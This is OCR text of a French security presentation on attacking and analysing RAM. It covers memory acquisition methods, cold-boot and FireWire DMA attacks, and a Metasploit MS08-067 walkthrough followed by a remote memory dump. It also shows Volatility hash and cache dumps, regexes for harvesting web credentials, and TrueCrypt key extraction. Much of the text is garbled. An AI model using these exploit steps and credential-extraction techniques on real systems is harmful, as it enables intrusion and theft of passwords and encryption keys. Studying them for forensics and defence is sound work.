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POURQUOI S’ATTAQUER A LA MEMOIRE RAWN ?

11/28/2010

1 La mémoire RAM est sollicitée pour chacune des actions réalisées sur le systeme et contient
donc un nombre important d’'informations utilisées a un instant donné

J La compromission d’un systeme par |'altération directe de la mémoire RAM est plus discréte que
celle réalisée par 'altération des fichiers du disque dur

1 Contrairement a certains disques durs, le contenu de la mémoire RAM n’est pas chiffré et facilite
ainsi I'acces au systéme ou sa manipulation

1 Enfin, c’est un des éléments majeurs d’une architecture systéme, il est donc humain de s’y
intéresser ...©
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EXTRACTION DU CONTENU D& LA RAVI

11/28/2010

DEPUIS UN ACCES STANDARD AU SYSTEME CIBLE

O OUTILS LOGICIELS : dd.exe, mdd.exe, memoryDD.bat, win32dd.exe, ...
O INCONVENIENT : Nécessite les droits Administrateur sur la cible

C-vwywin32dd.exe fr AT image.raw C:3w>*MemoryDD._.bat -size 100 -output image.dd

Cohw>dd.exe if=““_“WPhysicalMemory of="c:-%Wimage._raw"” conv-noerraor C-%rmdd_1-3_exe -0 image.-raw

DEPUIS UN ACCES DISTANT AU SYSTEN\E CIBLE

O OUTILS LOGICIELS : Plugin « memdump » utilisable via la console du framework « Metasploit » + mdd.exe

O INCONVENIENT : Nécessite les droits Systéme ou Administrateur et un accés distant sur la machine de la
victime

LIAISON RESEAU

/" iotedm
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EXTRACTION DU CONTENU D& LA RAVI

11/28/2010

DEPUIS LE FICHIER D’HIBERNATION DU SYSTEME CIBLE

O PRINCIPE : Exploitation du fichier d’hibernation généré a 'activation de la veille prolongée et constituant une
image compressée de la mémoire RAM (hyberfil.sys)
O CONFIGURATION CIBLE : Hibernation activée sur la machine cible

O INCONVENIENT : Nécessite d'avoir un accés physique a la machine ou un accés logique administrateur
pour extraire le fichier

Propriétés de Options d'alimentation
Arrét de Windows § x| Modes de gestion de |'slimentatic
— Jauge de batters I Avancé

Lorsque l'ordinateur passe en \
informations en mémaire sur le

l'ordinateur sort de veille prolon

Mize en veile prolongée
v iActiver [a mise en veille prolongée |

g’; Que voulez-vous faire ?

Mettre en veille prolongée (2) Sa
UVeg
arge

Enreqistre votre session sur disque et vous permet d'éteindre
l'ordinateur en toute sécurité. La session est restaurée au

R L

redémarrage de Windows., o " .
- s documents LT Lk F'cw
| OK I Annuler Aide | I } = hiberfil 5ys 2088372 Ko  Fichier systéme
sbe de bravail
TR R P (i ]| CONFIG.SYS Oko  Fichier systeme
. | BeabFank kin C '~ Firhiar BTHI

@ Le fichier « hiberfil.sys » est stocké tant que I'option est activée et reste donc exploitable méme si le systéme s’est
arrété normalement ...

GROUP

dilll

en cours d’utilisation) : « hobocopy » permet de contourner cette restriction

NSTUCE : La copie du fichier « hiberfil.sys » n'est pas autorisée via une session Windows (fichier / I-
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EXTRACTION DU CONTENU D& LA RAVI

11/28/2010

DEPUIS LE PORT SERIE DU SYSTEN\E CIBLE

O PRINCIPE : Exploiter le mode débogage Windows pour extraire le contenu de la RAM de la cible depuis
une autre machine connectée via un cable série et WINDBG

O CONFIGURATION NECESSAIRE : Port série sur la machine cible
O INCONVENIENT : Nécessite un accés physique a la machine cible

lindows Advanced Options Menu

Please select an option:

Safe Mode
Safe Mode with Networking
Safe Mode with Command Prompt

Command - Kernel 'com:port=com1, baud=115200" - WinDbg:6.

Microsoft (R) Windows Debugger Version 6.11.0001 404 X86 Enable Boot Logging
Copyright (c) Microsoft Corporation. All rights reserved Enable UGA Mode

Last Known Good Configuration (your mMost rec
Opened N\ “coml Directory S Restore Mode (Hindows dor

Vaiting to reconnect . .

system failure

Start UHindows Normally

Reboot

COM |139~5 I'JSB: Return to 05 Choices Menu

Kemel debugging over
Baud Rate

Port

LIAISON PAR CABLE SERIE
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EXTRACTION DU CONTENU D& LA RAVI

11/28/2010

DEPUIS LE PORT SERIE DU SYSTEM\E CIBLE (SUITE)

B 10 xi

Vaiting to reconnect
Connected to Vindows XP 2600 x86 compatible target at (Ved Apr 1 11:53:3%9.078 2009
(GNT+2)). ptréd FALSE

Kernel Debugger connection established

Syrbol search path is: C: \VINDOUS\Symbols.syvec

\Syrbolsehttp: 7/asd]l nicrosoft . con/dovnload/syabols

Executable szsarch path 1is

Vindove XP Kernel Version 2600 MP (1 procs) Free x86 compatible

Built by: 2600 xpsp_sp3_gdr 080814-1236

E;D:D3D> dump <2 ~u Sf Divdump-all . dmp

S‘ 6 -3E 36 3363 336363636 363636 33636 3363633636336 I3 I3 I3 3636 336N IE-IE 636636 I M-I I I I3 I3 N I NI I MWK
All* dump -ma iz the recommend method of creating a complete memnory dump *

El # of a user mode process. *
E] 636 36 3336 3363 3636 3 3636 3 3630 I 636 I IEIE I I I I I I I I3 I3 I3 I W IEIE I IEIE I I I I I I I I I I 36363 I W I I I W

gCreating D:~dump—all_02c4_ 2010-10-15_13-02-39-750_01al.dmp — user full dump
" Dump successfully written

- 0:0305 |

IineClosa() found tspdav

¢== linaClose()

“=5 laineOpen()
lineOpean() AcceptTSPoe
Tanairen () Tane marber

E |Debuggee 15 runninc
T

LIAISON PAR CABLE SERIE
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A problem has been detected and windows has been shut down to prevent damage
to your computer.

DRIVER_IRQL_NOT_LESS_OR_EQUAL

If this is the first time you've seen this Stop error screen,
restart your computer, If this screen appears again, follow
these steps:

Check to make sure any new hardware or software is properly installed.
If this is a new installation, ask your hardware or software manufacturer
for any windows updates you might need.

If problems continue, disable or remove any newly installed hardware
or software. Disable BIOS memory options such as caching or shadowing.
If you need to use Safe Mode to remove or disable components, restart
Vour computer, press F8 to select Advanced Startup Options, and then
select Safe mode.

Technical information:

¥Hk STOP: Ox000000D01 (OxO0000000C, 0x00000002, 0x00000000, OXFS86B5A89)

L gv3.sys - Aaddress FB6BS5A89 base at FB6BS5000, DateStamp 3dd99leb

Beginning dump of physical memory

Physical memory dump complete.

contact your system administrator or technical support group for further
assistance.



A problem has been detected and windows has been shut down to prevent damage
tO your computer.

DRIVER_IRQL_NOT_LESS_OR_EQUAL

If this is the first time you've seen this Stop error screen,
restart your computer, If this screen appears again, follow
these steps:

Check to make sure any new hardware or software is properly installed.

I-F th1s 15 - s et a1 e Am mels s e s Imamalisama A P s e e e N e R R

for any wi

¢ promia2giNNing dump of physical memory’
T romaPhysical memory dump comp’lete.

your CompL.__. ,.- R e e e e B L e e e ™ L _A'-_.-"-.l - — B e e S 3 o b P
select safe mode.

Technical information:

¥H¥ STOP: Ox000000D1 (OxO000000C, 0x00000002, 0x00000000, OXFREE5A89)

LA gv3.sys - Aaddress FB6BS5A89 base at FRS85000, DateStamp 3dd99leb

Beginning dump of physical memory

Physical memory dump complete.

contact your system administrator or technical support group for further
assistance.



EXTRACTION DU CONTENU D& LA RAVI

11/28/2010

DEPUIS LE FICHIER <« CRASHDUN\P »

O PRINCIPE : Exploitation du fichier « MEMORY.DMP » généré suite a un plantage systéme (écran bleu) de la
machine cible et constituant une image de la RAM

O CONFIGURATION NECESSAIRE : Débogage configuré ET option « image mémoire compléte » activée

O INCONVENIENT : Nécessite d'avoir un accés physique a la machine ou un accés logique administrateur pour
extraire le fichier

Démarrage et récupération N

[ Démarrage du systéme

Systéme dlexploitation par défaut : | adresse [ C:iwinoows

Mo I
KE951066.log
KB952257.log

l" licrosoft Windows XP Professionnel” /noexecute=optin "a<"‘8‘:l

[V Afficher |a liste des systémes d'exploitation pendant | 30 3

[~ Afficher les options de récupération pendant : | i 3
MEMOR:Y DMP
Cliquez sur Modifier pour modifier les options de démarrage. Moc |5§E) hh.exe
KB953687.log

~Défaillance du systéme -
[V Ecrire un événement dans le journal systéme

[V Envoyer une alerte d'administration
B Redd ; | StartBlueScreen.exe Ox10 0x1117 Qo222 03333 Oxcd444
v Redémarrer automatiguement

Ecriture des informations de débogage

Image mémoire compléte _'_I
(aucun)

Image mémoire partielle (64 Ko)
Image mémoire du noyau
Imaqe mémoire compléte

@ Aprés Crash, le fichier MEMORY.DMP est stocké sur le disque jusqu’a sa destruction manuelle ...

/" iotedm
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EXTRACTION DU CONTENU D& LA RAVI

11/28/2010

DEPUIS UN ACCES DM (DIRECT MENMORY NCCESS)

O PRINCIPE : Emuler la connexion d’un stockage de masse (par Ex. Ipod) par le port Firewire ou PCMCIA afin de
communiquer directement avec la RAM (Winlockpwn par Adam Boileau )

O CONFIGURATION NECESSAIRE : Machine démarrée + Port Firewire (ou PCMCIA) sur la machine victime
O INCONVENIENT : Nécessite d’avoir un accés physique a la machine pour extraire la mémoire

Fichier Action Affichage 2

s m &2

=1 €2 Contrdleurs SCSI et RAID
@ A3510X82 IDE Controller
+ \\4 Lecteurs de cartes a puce
#-go Lecteurs de CD-ROM/DVD-ROM
= ;v Lecteurs de disque
fay »«pgc L..CNQ\.“ er_Inc, iPod IEEE 1394 SBP2 Device |

~PLUG AND PLAY

Q

LIAISON PAR CABLE FIREWIRE
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http://www.storm.net.nz/projects/16

EXTRACTION DU CONTENU D& LA RAVI

11/28/2010

CAS PARTICULIER D’UNE MACHINE VIRTUELLE VMWNNRE
O CONFIGURATION NECESSAIRE : La machine cible est une machine virtuelle

O INCONVENIENT : Nécessite d'avoir accés a la machine hébergeant la machine virtuelle ainsi qu’aux fichiers
associés

564d65f5-06 1d-a532-98f2-3ff42728710c, vmem. lck
Other Linux 2.6.x kernel.vmdk. lck
Other Linux 2.56.x% kernel.vmx.lck
- 564d65f5-061d-a532-98f2-8ff427287 10c. vinem
] Other Linux 2.6.x kernel.nvram
% Other Linux 2.6.x kernel.vmdk
] Other Linux 2.6.x kernel,vmsd
@Gﬂﬂer Linux 2.6.x kernel, vmx
=] Other Linux 2.6.x kernel,vmxf

=| vmware.log

Ej vmware-0.log
Ej vmware-1.log

=| vmware-2.log

@ La copie du fichier VMEM est possible méme lorsque la machine virtuelle est démarrée

/" iotedm
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K EXTRACTION DU CONTENU D& LA RAVI

11/28/2010

L’ UTU/ME RECOURS...




EXTRACTION DU CONTENU D& LA RAVI

11/28/2010

DEPUIS UN ACCES DIRECT A LA BARRETTE MEMOIRE (ATTAQUE COLD30O0T)

O PRINCIPE : Exploiter le fait que le refroidissement de la barrette mémoire ralenti la perte des données en RAM
aprés extinction de la machine

O CONFIGURATION NECESSAIRE : Une barrette de mémoire ... accessible physiquement et une bombe d’air
sec ...

O INCONVENIENT : Nécessite d’avoir un accés physique a la machine, attaque pas vraiment discréte

Aprés un arrét brusque du systeme et pendant 3
minutes, la mémoire RAM conserve 80 % de ses
données d'origine

Aprés refroidissement de la barrette de mémoire
(-50°) et un arrét brusque du systeme, la
mémoire RAM conserve 80% de ses données
pendant 10 minutes

/" iotedm
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EXTRACTION DU CONTENU D& LA RAVI

11/28/2010

DEPUIS UN ACCES DIRECT A LA BARRETTE MEMOIRE (ATTAQUE COLD30O0T)

SOLUTION 7

EXTRACTION PHYSIQUE DE LA BARRETTE : Consiste a déplacer la barrette mémoire pour la placer sur une
machine maitrisée

EXTRACTION DU CONTENU DE LA BARRETTE : Consiste a copier automatiquement le contenu de la RAM
sur un média amovible lors du démarrage de la machine maitrisée sur une clef USB spécifiquement congue pour

réaliser cette opération / JE—
DEuoream
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http://www.mcgrewsecurity.com/
http://www.mcgrewsecurity.com/
http://www.mcgrewsecurity.com/
http://www.mcgrewsecurity.com/
http://www.mcgrewsecurity.com/
http://www.mcgrewsecurity.com/
http://www.mcgrewsecurity.com/

K EXTRACTION DU CONTENU D& LA RAVI

DEMO

Extraction de la ram A distance via le Framework

« Metasploit »

11/28/2010
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EXTRACTION DU CONTENU D& LA RAVI
CAS PRATIQUE

11/28/2010

NTTAQUE : IDENTIFICATION D’'UN SYSTEME VULNERABLE

() Positive Technologies Microsoft Patches network scanner =10 x|

%ﬁgi Egﬁ%ﬁ

u«

¥ Mste 067

IF addiess [192.168.236.129 | Check |

®| t4509-001
I~ Endof the IP range: [192168236.255 || Save logfile |
Murnber af threads: I'IEI | Clear results |

MS03-067 patch iz not installed! Update your spsteml
0 RS L S s | M U-UUT patch 1z nob inztalled! Lpaate your swsterm!
O 192.168.236.129 M503-065 check: can't connect to Meszage Queuing service
INENNNEENE

/" iotedm
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EXTRACTION DU CONTENU D& LA RAVI
CAS PRATIQUE

11/28/2010

ATTAQUE : PREPARATION DE U'EXPLOIT A EXECUTER

sudoman ESud0man-Laptop: ~/Secu/xploit /trmk3 . /msfconsole

< metasploit >

3. 3-devw
[ 35% exploits - 233 payloads
[ 20 encoders - 7 nops
=[ 132 aux

mzf > uze windows/=mb/ms08 067 netapi
m=f expleit(m=08 067 netapi) > =zet PAYLOAD windows/meterpreter/bind tcp
PAYLOAD =» windows/meterpreter/bind tcp

mzf exploit(mz08 067 netapi) > set PAYLOAD windows/meterpreter/bind tcp
PAYIOAD =»> windows/meterpreter/bind tcp

netapi) > set RHOST 192.168
. 129

/" iotedm
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EXTRACTION DU CONTENU D& LA RAVI
CAS PRATIQUE

11/28/2010

NTTAQUE : PRISE DE CONTROLE DISTANT DU SYSTEM\E

[ expleoit (ms08 067 netapi) > expleit

Started bind handler

Automatically detecting the target...

Fingerprint: Windows XP Serwvice Pack 2 - lang:French

Selected Target: Windows XP 5P2 French (HX)

Triggering the vulnerability...

Transmitting intermediate stager [or over-sized stage...(19%l bytes)
Sending stage (2650 bytes)

Sleeping before handling stage. ..

TUpleoading DLL (73787 bytes) ...

Upload completed.

Meterpreter session 1 opened (192.168.236.129:37489 -> 192,.168.23

meterpreter >

/" iotedm
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EXTRACTION DU CONTENU D& LA RAVI
CAS PRATIQUE

11/28/2010

NTTAQUE : EXTRACTION DU CONTENU DE LA MEMOIRE

meterpreter > run memdump
[*] Running Meterpreter Memory Dump Script
[*] Uploading mdd for dumping targets memory....

[*] jmdd uploaded as C:\WINDOWS\TEMP)\ 75966 .exe

[*] Dumping target memory to C:\WINDOWS\TEMP\12701

[*] [Finnished dumping target memory

[*] Deleting mdd.exe [rom target...

[*] mdd .exe deleted

[*] Downloading Memory
/home/sudoman/ .ms f3/1cgs/memdump/192 ,168.1.312701

[*] [Finnished downloading memory image
[*] Deleting left over files...

[*] |[Memory image on target deleted

Fchier Edition Affichage Terminal Qnglets Aide
sudoman@Sud@man-Laptop:~/.msf3/logs/memdumps c¢d 192.1 1.312701/ 2
sudoman@Sud®man-Laptop:~/.msf3/logs/memdump/192.168.1.3127018 s -al
total 261884
drwxr-xr-x 2 sudoman sudoman 4096 2009-03-23 13:42
drwxr-xr-x 8 sudoman sudoman 4096 2009-03-23 13:45 ..

“rw-r--r-- 1 sudoman sudoman 267894784 2009-03-23 13:45 12701.1mq
sudoman@SudOman-Laptop:~/.msf3/logs/memdump/192.168.1.3127615 |

/" iotedm
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ANALYSE DES DONNEES BRUTES DE LA RAMW

11/28/2010

ANALYSE DES DONNEES HEXADECINALES DE L'INM\AGE BRUTE

0O EDITEUR HEXADECIMAL SOUS LINUX : Hexedit, Ghex, ...
O EDITEUR HEXADECIMAL sous winbows : MiTec, WinHex, HexCmp, ...

airdell HexCmp2

‘ File Edit Search Wiew Actions Options Help Left 15 Days! Register Nowl!

a2/ Mm@ ifc @ |om#m |[manmwaem 5 FRElER=El

|-HE>< 0xFFE0000 OFFSET 00 01 02 03 04 05 06 0OF

-DECIMAL | 267964415 N
D1342D60 FB 10 90 90 BO 01 8B 62 C4 00 20 4D FC FO 05 EB .01’ b, HiS.&
e TR 01342D70 CD 80 FF FF C9 C2 1C 00 TayvEL.  248iX.n.

-DECIMAL | 20589322 132 8D 45 FO (Vi 1
- Character [ WinHex - [hiberfil.sys]

- Bit-Set 10010000 | #E% File Edit Search Position Wiew Tools Specialist Options ‘'Window  Help
- Byte [HEX) 090

“Byie [DEC) [ 144 NELlaneEe -BhREahi ML0Y PMEs  OGEL 54> | @

-whord (HEX] | 0x3030

“word [DEC] |-26528 fuvegisterecy | oSy |
DS IDES) | oabeosca | ibetsys _ Offset | 0 1 2 3 4 § & 7 & 9 A B C D E F
IAARCHIVEMarensichRAM sample B4 Ty oo g |67 65 73 64 01 53 00 08 F8 00 64 73 65 BA 05 50 | gesj.S. .o .dse? P
o sive seeyp| U06521F0 |00 02 00 BO BC 35 74 08 76 6B 06 00 04 SE 01 2E .. ‘MSz.vk..."..
' 267 964 416 tytes| 10652200 | 03 00 00 80 CO 02 00 33 00 38 02 74 61 38 03 50 ... 1A .9.8.ta8 P
00652210 |90 26 74 01 39 C1 38 SE 1F 00 7B 86 38 B? BB 03 l&z 948" {18.».
Dot B4 el 00652220 |12 39 01 80 S0 01 39 00 78 01 DS 02 69 80 93 03 .9.1P.9.x.0.4i1l.
Ctate: wiginal| 0652230 |20 73 61 20 DE 64 6F 6D 61 69 6E 63 72 65 64 73 =a Pdomsincreds
00652240 | &0 00 00 00 7B 0A 0A 00 38 01 80 01 78 00 38 00 .. .{...8.1.x.8.
mumlmt Ul 00652250 |78 01 06 00 66 6F 72 63 65 00 40 OB 00 67 75 65 | x...force.@. .gue
“DECIMAL | 267964418 Hnda reverses: nfal gogS2z260 |73 74 07 00 88 C7 07 00 C8 34 01 19 F9 00 BF 02 st..0G..E:. .u.é.
. 00652270 | 33 65 E8 D5 79 6F 6E 65 69 6E 63 6C 75 64 65 73 3eelyonsincludes
HEX—1OiI3ADE Creatian time: 3””11_?_’;‘249_193 00652280 |61 6E 06 0% 30 03 6F 6E 79 6D 6F 75 F4 02 3C 0%  an..0.onymoud. <.
hﬁ =%130 npg52290 13 00 78 01 BF 01 66 69 70 73 61 6C 67 6F 58 08| . .= 4. fipsalgol.
-Character | Last wiite time: 28/04/20039| 00652240 |68 6D 70 6F 6C 69 63 79 A8 00 7D 01 15 DE 00 00 hmpolicy .}. .b..
- Bit-Set AN 034856 | 006522B0 |60 00 38 01 7F 04 13 6C 69 6D 69 74 62 6C 61 6E| *.8.1..limitblan
A i - sa| 006522C0 | 6B 0 61 73 73 77 6F 72 64 75 73 65 BB 04 7D 01 kpassvorduse,.}.
lcons. | 008522D0 |01 78 01 50 01 14 OC 58 00 00 80 19 00 04 66 75 .= P. X .1...fu
D06522E0 | 6C 6C 70 DS DA 69 6C 65 67 65 61 75 64 69 74 69 1lp@lilegeauditi
window B 1| 008522F0 | 6E 67 BE 00 7B 01 13 00 BS 02 FF 02 00 00 6E &6F ng, { ... % . no .
Mo, of windows: 1| 00652300 |64 65 66 78 22 02 00 61 75 6C 74 61 64 6D 69 6E | defx"'..sultadnin GROUP
00652310 00 0% 1% 00 D8 58 1F BC | owner ...... . [][”[]I'Eﬂm
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ANALYSE DES DONNEES BRUTES DE LA RAMW

11/28/2010

ANALYSE DES CHAINES DE CARACTERES DE LUINM\AGE BRUTE

O UTIUTAIRES WINDOWS : BinText (Foundstone)
O CONMNMANDE NATIVE UNIX : Strings

R

Search | Fiter | Help |

File to scan IAM\dump ram\generate RAM win\user\dd.exe\image.dd ~ Browse | -

[V Advanced view Time taken : 132.047 secs  Text size: 67824438 bytes (66234.80K)

File pos | Mem pos | ID l Text ;]
A 00000000 00000000 O 7} —
A 00000042 00000042 O Kt+Ku
A 0000004D 0000004D O 0SVw3
A 00000053 00000053 O t)f9}
A 0000006D 0000006D O IThis program cannot be run in DOS mode.
A 000000SE 000000SB O text
A 00000041 00000041 O h.rdata

0

0

0

0

0

0

A 00000043  000000AI HPAGE
A 00000080 0000COBO .edata

A 00000087 000000B7 @INIT

A 000000BD 000O0COBD A1 PASS01
A 000000C3  00000O0C3 B.reloc
A|00000002 OUOUUUD|2 ~oigy

4

root@Sud0man- Laptop:/ strings dump-ram-coldboot.dmp | grep -i pass

Password?8

IR ¥

[Ready || ANSE 404%32”,\9@0 ||Rsco [fewpte find | Save |

/" iotedm
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ANALYSE DES DONNEES BRUTES DE LA RAMW

11/28/2010

UTILISATION D’OUTILS D’ANALYSE « POST M\ORTEM\ »

a

0 COC

VOLATILITY

Liste des processus actifs, connexions TCP ouvertes, librairies utilisées selon un processus, identification
des malwares, ...

MEMORIZE

Fonctionnalités identiques a Volatility + identification des rootkits, création d’'une image spécifique a un pilote,
génération de rapport

PTFINDER
Génération d’'une arborescence graphique des processus en cours (processus peére et fils)

MEMPARSER
WinbBG
FOREMOST

/" iotedm
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https://www.volatilesystems.com/default/volatility
https://www.volatilesystems.com/default/volatility
http://www.mandiant.com/products/free_software/memoryze/
http://www.mandiant.com/products/free_software/memoryze/
http://computer.forensikblog.de/files/ptfinder/ptfinder-current.zip
http://computer.forensikblog.de/files/ptfinder/ptfinder-current.zip
http://computer.forensikblog.de/files/ptfinder/ptfinder-current.zip
https://www.volatilesystems.com/default/volatility

ANALYSE DES DONNEES BRUTES DE LA RAMW

11/28/2010

CONVERSION DE UINMAGE MEMOIRE

Q VOLATILITY (DMP2RAWY)
Conversion d’un fichier « CrashDump » en image mémoire brute

Q HIBR2BIN *
Conversion d’un fichier d’hibernation « hiberfil.sys » en image mémoire brute

O 3mwz2pmp*
Conversion d’une image mémoire brute en fichier « CrashDump »

Q HIBRZDWP*
Conversion d’'un fichier d’hibernation « hiberfil.sys » en fichier « CrashDump »

Q 3mwzpmpP*
Conversion d’'un fichier de mémoire VMWARE en fichier « CrashDump »

/" iotedm
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA

11/28/2010

MOT DE PASSE DE DENMVARRAGE SYSTENME (310S)

Depuis une image RAM extraite via un acces DMA, il est possible d’identifier le mot de passe systéme
saisi par ['utilisateur lors du démarrage du systeme (et configuré dans le bios) via l'outil « Bioskbsnarf »
développé par Adam Boileau

Invite de saisie de mot de passe

/" JHotedm
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RAW

11/28/2010

RECONSTITUTION DES DONNEES D’AUTHENTIFICATION WINDOWS (VOLATILITY)

$ oython voiatiity m f <cnemin g acces au ficnier RAM> -y <offset systems -5 <offset soms>

$ python volatility hasdump -f HA\DUMP-TEST\dump_ram_user.dmp -y Oxe1038008 -s _

3ASE SN\ N :
SysAdmin:500:8a219462a3f8XXXXf50419e5936a8b420:948fc9bdBdce 1 80XXXXe 1 404a02f082a:::
SUPPORT_38894500:1002:00d3b435b51404eX00XX3b435b51404ee:1b1832823aaXXXX8abé3aafS5c28f711dS
ASPNET:102025¢cb3b8f8bé 1 1 XXXX4f407098dd4b474:08105e4e01d8 1 cd0XXXXbé45401942f6::
HelpAssistant:1037:503503XXXX471f76309¢c 4047 abe92798:bed2677f66c ] 1 cXXXX956e9dc2ab03462
LSADUMNMP amalard:1038:8a219692a3f68cXXXX0419e593608b420:948fcPbd8dce 1 609XXXX1404a02f0820:::
."S pytnon voiatiityfsodumgy-f <chemin d ' occes ou fichier RAM> -y <offset systems> -s <offset securty> |

$ python volatility lsadump -f HA\DUMP-TEST\dump_ram_user.dmp -y Oxe 1038008 -s _ CASHDUMP

_SC_WMPNeiworkSvc $ oython voiatityfcocnedumpolf «<cnemin d acces ou fichier RAM» -y «offset system> -5 <offset secunity»

SCM:{3D14228D-FBET-11D0-9950-00C04FD?19CH D\ data\ ARCHIVE\ FORENSIC\ RAM \ analyse RAM \ Volatility-1.3_Beta\ Volatility-1.3_Beta

>python volatility cachedump -f H:\ DUMP -TEST\ dump_ram_user.dmp -y Oxe 1038008 -s
0000 40007A002B0065005700463007300 _

0010 650041003800 6E002F00 64000000 Y nmalard:6§5b3c0d7dde XXXX262¢25(da9727a3c:devoteamdr.devoteam.com

L$150910.159.31.135

0000 74006500730074006400650076000000 testde.wv.. GROUP
0010 00000000000000000000000000000000 ... n[U" Eﬂm
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA

11/28/2010

STOCKAGE DES IDENTIFIANTS €T MOTS DE PASSE €N CLAIR (apres uTiLisaTiON)

® B @
WEBMAIL G M %2 m

Y k O( W la L

RESEAU SOCIAUX
viadeo

A" 4

CLIENTS LOURDS

GROUP

31
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA

11/28/2010

STOCKAGE DES IDENTIFIANTS ET MOTS DE PASSE €N CLAIR (SUITE)

Pour les mots de passe utilisés a travers un navigateur Internet, I'effacement de I'historique de navigation ne
permet pas de supprimer les authentifiant stockés en RAM ... au contraire

.linkedin.com:

Supprimer |'historique de navigation (oS =>https://www.linkedin.com:
' | =>https://ww.linkedin.com:
[V| Conserver les données des sites Web favoris >https://www.linkedin. cc ttps:/ v.Linkedin.com:
Conserver les cookies et fichiers Internet temporaires qui activent vos /S Linkedin, com:

sites Web préférés pour enregistrer vos préférences et les afficher plus sht + / /v Linkedin. « 7 Mt . Linkedin. com:

rapidement. 3 . A .
P w. Linkedin. cc =>https://www. linkedin. com:
. Linkedin. cc ==https://www.linkedin,com:

[V] Fichiers Internet temporaires g -
= 4 .inkedin.cc

Copies de pages Web, dimages et de médias enregistrées pour

un accés ultérieur plus rapide. = : Linkedin.

Jinkedin.cc =
. Tacebook. coii.
. facebook.com:

=71 = e = %
Fichiers placés sur votreg B =

enregistrer des informaf]

com:
com:

[V] Historique Intervalle a effacer: ’Stout

Liste de sites Web que y

.com:
Jcom:
.linkedin.com:
/ .linkedin.com:
Swwrel . Linkedin. com:
:/ /v . Linkedin. com:
/ .linkedin.com:
. facebook. com:
«.Tacebook.com:

.facebook.com:

. facebook. com:

.linkedin.com: : .
linkedin.com: apres
Linkedin. com: :

.linkedin.com:

.}1nkeq;n.com. . I/////’ GROUP
. linkedin.com: u[unream
CONNECTING BUSINESS TECHNOLOGY

[V| Données de formulai|
Informations enregistrég
formulaires.

Tout I'historique sera effacé.

e Cette action est irréversible.

["] Mots de passe
Mots de passe enregistr]
OUVrez une session sur

A | Détails

[V] Données de filtrage
Données enregistrées u
les sites Web peuvent p
visite,

[¥] Formulaires et historique des recherches
[V] Cookies
[¥] Cache

== : :
Aide sur |a suppression de f,!/... Connexions actives
Ihistorique de navigation [V] Préférences de site

Effacermaintenant] ‘ Annuler




IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA

11/28/2010

DONNEES SECRETES PROTEGEES POUR CERTAINES APPULICATIONS

Heureusement, certains éditeurs ont pensé a masquer les données sensibles ...

% \wWindows Privacy Tray

/" iotedm
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA

11/28/2010

METHODE SINPLE D’IDENTIFICATION DES DONNEES SENSIBLES STOCKEES

1 Depuis les chaines de caracteres extraites de la RAM (strings)

<+ En utilisant des expressions régulieres

email={  +)8pass=( . +)6charset Test, " RLEceelcsise )

. Ltmpl=. *&ltmplcache=. *&Email=(.+)&Passwd=( .+ )&rmShown= [JY«=:lslsdus]\}}}

“» En utilisant des chaines positionnées avant ou aprés le secret

:'Winsock 2.0 el SN
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA

11/28/2010

METHODE SINPLE D’IDENTIFICATION DES DONNEES STOCKEES SENSIBLES

1 Création d’'une base de données de signatures
. . sage: ./find-secrets-str.py <fichier RAM au format STRING>
1 Automatisation de la recherche (PoC) Cipies

1+ httne://unna Facshonk com

: https://wwwiitinkedin.com
: http://www.viadeo.com

4: https://mail.geoogle.com
: https://WEBMAIL -EXCHANGE

TabCibles=[{ : MSN .
name” : "htt S e : Compte d'un domaine Windows

import sys,os,re

attps://www, facebook.com;

ature: EHATE(.¥)&pass=(i¥)Scharset\ test* | h ' Jescrigition’:

Identification des authentifiant de connexion sur www. facebook.com

attps://www.linkedin. com:

Identification des authentifiant derconnexion sur www.linkedin.com

Ttto: /W . viadeo. com:

L/Tind-secrets-str.py /media/DATA-HP/tmp/dump-ram2.str
hoix : 999
=>https://www.Llinkedin.com:: ee.Fr

=>https://www.linkedin.com:1
==https://www.facebook.com:: ee.Tr

=>https://www.facebook.com:1
/" Nlea
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA

11/28/2010

CLEF DE CHIFFREMENT UTILISEE POUR LE CHIFFREMENT DE DISQUE

Des chercheurs américains de I'Université de Princeton ont développé un outil permettant d’extraire les clefs AES
et RSA utilisées pour le chiffrement de volumes ou disques a partir d'une image de la mémoire RAM.

LE CAS DES VOLUMES CHIFFRES PAR TRUECRYPT ...

5 ./aeskeyfind -v ../../hyber-cmd-notepad/hiber-dump-cmd.dmp
FOUND POSSIBLE 254-BIT KEY AT BYTE 17df008

O Ces clefs de (dé)chiffrement sont utilisées pour [

3cabaf07323b75a7c47b3120e6621ec27ib8%7ccca3di8alc1?1dbaaeb37 ?42ef

déchiffrer les données
O Le mot de passe de l'utilisateur est employé [Reabidss

3caba07323b75a7c47b3120e6621ec27i58%7ccoal7B8alcl 71déaaeb37 74288776 64b?bc03c37d273

A 118 ! A 2e37b452c216b36e631a1016cAdb81c0630b65440cc49c 88477 d208b8c0007bY6f9bA2954e7 lacc ] edel

pour prOteger ces C|efS (SltueeS danS lentete ba0534607aéb0édé2e2bc bal4ed? 317246 681723d1908c614ade 1bi51ad3cSeebablale? ceOce8ble 5c5F
bfa7f8489bc1075Mb81e97d3d954497dc03a38b82e 80681 b7 9c88d54c62d444 1 Seffb2eBe2elc7136306bal

TI’ UeCI'yp t) ef642247179abfi3119c 32416 654b31bal7 9ib2d0343c Yc5el acleds 82aabaiB7 489 308580c 3c 39atctdBef

caBded75cd1bbéféd?b22i33381e21e5bab4951dce5cl

Exemple : Extraction de la « Master Key volume TrueCrypt (AES 256)

MAIS CONMMENT OUVRIR UN VOLUME TRUECRYPT ALORS ?7?

/" iotedm
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K IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA

DEMO

Dechiffrement d’un volume Truecrypt

11/28/2010
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K IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA
CAS PRATIQUE

11/28/2010

RAPPEL : CONSTITUTION D’UN VOLUME TRUECRYPT

I

Données chiffrées

/" iotedm
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA
CAS PRATIQUE

11/28/2010

RAPPEL : DECHIFFREM\ENT D’'UN VOLUN\E TRUECRYPT
\ Mot de passe +
utilisateur

